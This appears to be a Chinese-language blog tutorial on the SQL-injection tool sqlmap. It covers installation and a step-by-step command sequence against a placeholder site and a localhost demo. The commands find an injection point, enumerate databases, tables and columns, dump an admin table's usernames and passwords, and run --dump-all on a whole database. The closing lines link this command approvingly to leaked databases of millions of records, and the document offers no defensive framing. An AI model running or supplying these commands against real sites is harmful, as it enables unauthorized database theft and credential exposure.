SQL注入神器-sqlmap
PS:國內類似軟體也有阿D,明小子,挖掘機,當你用過他們之後你才會發現SQLMap才是絕對的注入神器
0x 01 注入原理
*****************************************開始分割線*****************************************
時間原因,這段內容就先不寫了
就是因為太重要了所以要整理好在寫上哈
雖然事實上是我現在還沒搞太明白我會亂說 :)
*****************************************結束分割線*****************************************
0x 02 安裝SQLMap
1. 安裝python
官網https://www.python.org/ 選擇最新版本下載安裝即可
因為SQLMap使用Python寫的 ,所以沒有Python的環境SQLMap無法執行
2. 安裝SQLMap
官網 http://sqlmap.org/ 選擇最近版本安裝即可
3. 設定環境變數
為了使用便利,將SQLMAP的安裝目錄新增到系統環境變數中
之後在CMD中就可以直接使用SQLMap了
不設定環境變數的話,要把CMD的當前目錄切換到SQLMap安裝目錄才可以使用
0x 03 SQLMap常用命令介紹
1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
判斷id引數是否存在注入:結果中包含 “id” is Vulnerable 欄位表示存在注入
存在注入,下面的步驟才可以執行成功~
2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
列舉能列出的所有資料庫名
3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
列出當前使用的資料庫名,假設列出“sqltest”資料庫
4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
判斷該注入點是否有管理員許可權:返回true 表示是管理員
5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
獲取sqltest中的所有表,假設有"admin"表
6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
列舉表admin的欄位(列名),假設存在"username","password"欄位
7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
下載欄位username,password的值,若詢問是否破解md5加密,選擇no即可
至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的資料
想看工具的注入過程 使用-v引數
-level 會提高注入等級(預設0 只會判斷get,post引數是否有注入點)
若注入點是POST方式,或是注入點才Cookie,User-Agent中,可以利用-Date 引數 -Cookie引數指定
當然用buip Suite架個代理,擷取資料包,直接 -r 引數引入資料包也可以完成上述的注入情況的~
0x 04 注入Demo
本次演示使用Apache+Php +Mysql 環境,其他環境的話
使用SQLMap輸入還是相同的命令,這點SQLMap做的好方便
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有資料庫名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出當前資料庫
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba 判斷注入點是否有管理員許可權
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables 猜表名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns 猜欄位名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值
網路上流傳的脫褲 用的可就是下面的一句話
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
突然發現 強大的東西往往僅僅是一句話 ! !
這條命令會直接把test資料庫中所有的表全部下載到安裝目錄output資料夾中
然後就有了 2000W xxx 800W xxx ....................你懂得